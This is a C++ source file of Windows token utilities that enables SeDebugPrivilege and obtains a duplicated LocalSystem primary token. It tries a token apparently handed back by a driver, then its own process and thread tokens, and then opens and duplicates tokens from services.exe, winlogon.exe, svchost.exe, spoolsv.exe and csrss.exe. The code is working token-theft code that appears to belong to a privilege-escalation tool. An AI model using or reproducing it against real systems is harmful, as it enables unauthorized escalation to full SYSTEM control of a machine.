#include "Common.h"
#include "TokenUtils.h"
#include "Logger.h"

static const DWORD kTokenAccessForDuplicate =
    TOKEN_QUERY |
    TOKEN_ASSIGN_PRIMARY |
    TOKEN_DUPLICATE |
    TOKEN_ADJUST_DEFAULT |
    TOKEN_ADJUST_SESSIONID;

bool EnablePrivilege(const wchar_t* privilegeName)
{
    HANDLE hToken = nullptr;

    if (!OpenProcessToken(
        GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
        &hToken))
    {
        Log(L"[-] OpenProcessToken for privilege failed: %lu", GetLastError());
        return false;
    }

    LUID luid{};
    if (!LookupPrivilegeValueW(nullptr, privilegeName, &luid))
    {
        Log(L"[-] LookupPrivilegeValueW failed for %s: %lu", privilegeName, GetLastError());
        CloseHandle(hToken);
        return false;
    }

    TOKEN_PRIVILEGES tp{};
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    BOOL ok = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), nullptr, nullptr);
    DWORD err = GetLastError();

    CloseHandle(hToken);

    if (!ok || err == ERROR_NOT_ALL_ASSIGNED)
    {
        Log(L"[-] EnablePrivilege failed: %s, last=%lu", privilegeName, err);
        return false;
    }

    return true;
}

bool TokenIsLocalSystem(HANDLE token)
{
    if (!token)
        return false;

    DWORD needed = 0;

    if (!GetTokenInformation(token, TokenUser, nullptr, 0, &needed))
    {
        DWORD e = GetLastError();
        if (e != ERROR_INSUFFICIENT_BUFFER || needed == 0)
            return false;
    }

    std::vector<BYTE> buf(needed);
    PTOKEN_USER tu = reinterpret_cast<PTOKEN_USER>(buf.data());

    if (!GetTokenInformation(token, TokenUser, tu, needed, &needed))
        return false;

    PSID systemSid = nullptr;
    if (!ConvertStringSidToSidW(L"S-1-5-18", &systemSid))
        return false;

    bool userIsSystem = (EqualSid(tu->User.Sid, systemSid) == TRUE);

    BOOL member = FALSE;
    if (!userIsSystem)
        CheckTokenMembership(token, systemSid, &member);

    FreeSid(systemSid);

    return userIsSystem || member == TRUE;
}

bool IsCurrentProcessSystem()
{
    HANDLE hToken = nullptr;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
        return false;

    bool result = TokenIsLocalSystem(hToken);
    CloseHandle(hToken);

    return result;
}

static HANDLE DuplicateTokenExWithFallback(HANDLE src)
{
    HANDLE dup = nullptr;

    if (DuplicateTokenEx(
        src,
        kTokenAccessForDuplicate,
        nullptr,
        SecurityImpersonation,
        TokenPrimary,
        &dup))
    {
        return dup;
    }

    const DWORD minimalAccess =
        TOKEN_QUERY |
        TOKEN_ASSIGN_PRIMARY |
        TOKEN_DUPLICATE |
        TOKEN_ADJUST_DEFAULT;

    dup = nullptr;

    if (DuplicateTokenEx(
        src,
        minimalAccess,
        nullptr,
        SecurityImpersonation,
        TokenPrimary,
        &dup))
    {
        return dup;
    }

    return nullptr;
}

HANDLE DuplicateSystemTokenFromHandle(HANDLE srcToken)
{
    if (!srcToken)
        return nullptr;

    HANDLE dup = DuplicateTokenExWithFallback(srcToken);
    if (!dup)
    {
        Log(L"[-] DuplicateTokenEx failed: %lu", GetLastError());
        return nullptr;
    }

    if (!TokenIsLocalSystem(dup))
    {
        Log(L"[-] Duplicated token is not LocalSystem");
        CloseHandle(dup);
        return nullptr;
    }

    return dup;
}

static HANDLE OpenProcessTokenByPid(DWORD pid)
{
    if (pid == 0)
        return nullptr;

    HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);

    if (!hProc)
        hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

    if (!hProc)
        return nullptr;

    HANDLE hToken = nullptr;

    if (!OpenProcessToken(hProc, kTokenAccessForDuplicate, &hToken))
    {
        hToken = nullptr;

        if (!OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken))
        {
            Log(L"[-] OpenProcessToken(%lu) failed: %lu", pid, GetLastError());
            CloseHandle(hProc);
            return nullptr;
        }
    }

    CloseHandle(hProc);
    return hToken;
}

static HANDLE DuplicateTokenFromPid(DWORD pid)
{
    HANDLE hToken = OpenProcessTokenByPid(pid);
    if (!hToken)
        return nullptr;

    if (!TokenIsLocalSystem(hToken))
    {
        CloseHandle(hToken);
        return nullptr;
    }

    HANDLE dup = DuplicateSystemTokenFromHandle(hToken);
    CloseHandle(hToken);

    if (dup)
        Log(L"[+] Obtained SYSTEM token from PID %lu", pid);

    return dup;
}

static HANDLE TryDuplicateByNames(const wchar_t* const* names, size_t count)
{
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE)
        return nullptr;

    PROCESSENTRY32W pe{};
    pe.dwSize = sizeof(pe);

    if (!Process32First(snap, &pe))
    {
        CloseHandle(snap);
        return nullptr;
    }

    DWORD self = GetCurrentProcessId();

    do
    {
        if (pe.th32ProcessID == self || pe.th32ProcessID <= 4)
            continue;

        for (size_t i = 0; i < count; ++i)
        {
            if (_wcsicmp(pe.szExeFile, names[i]) == 0)
            {
                HANDLE tok = DuplicateTokenFromPid(pe.th32ProcessID);
                if (tok)
                {
                    CloseHandle(snap);
                    return tok;
                }
            }
        }

    } while (Process32Next(snap, &pe));

    CloseHandle(snap);
    return nullptr;
}

HANDLE GetSystemToken(HANDLE preferredToken)
{
    EnablePrivilege(SE_DEBUG_NAME);

    if (preferredToken)
    {
        HANDLE dup = DuplicateSystemTokenFromHandle(preferredToken);
        if (dup)
        {
            Log(L"[+] Using SYSTEM token returned by driver");
            return dup;
        }
    }

    HANDLE hProcessToken = nullptr;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_DUPLICATE, &hProcessToken))
    {
        if (TokenIsLocalSystem(hProcessToken))
        {
            HANDLE dup = DuplicateSystemTokenFromHandle(hProcessToken);
            CloseHandle(hProcessToken);

            if (dup)
            {
                Log(L"[+] Current process token is LocalSystem");
                return dup;
            }
        }
        else
        {
            Log(L"[-] Current process token is not LocalSystem");
        }

        CloseHandle(hProcessToken);
    }

    HANDLE hThreadToken = nullptr;

    if (OpenThreadToken(GetCurrentThread(), TOKEN_QUERY | TOKEN_DUPLICATE, TRUE, &hThreadToken))
    {
        if (TokenIsLocalSystem(hThreadToken))
        {
            HANDLE dup = DuplicateSystemTokenFromHandle(hThreadToken);
            CloseHandle(hThreadToken);

            if (dup)
            {
                Log(L"[+] Thread token is LocalSystem");
                return dup;
            }
        }
        else
        {
            Log(L"[-] Thread token is not LocalSystem");
        }

        CloseHandle(hThreadToken);
    }

    static const wchar_t* preferred[] =
    {
        L"services.exe",
        L"winlogon.exe",
        L"svchost.exe",
        L"spoolsv.exe",
        L"csrss.exe"
    };

    HANDLE tok = TryDuplicateByNames(preferred, _countof(preferred));
    if (tok)
        return tok;

    Log(L"[-] Failed to find SYSTEM token");
    return nullptr;
}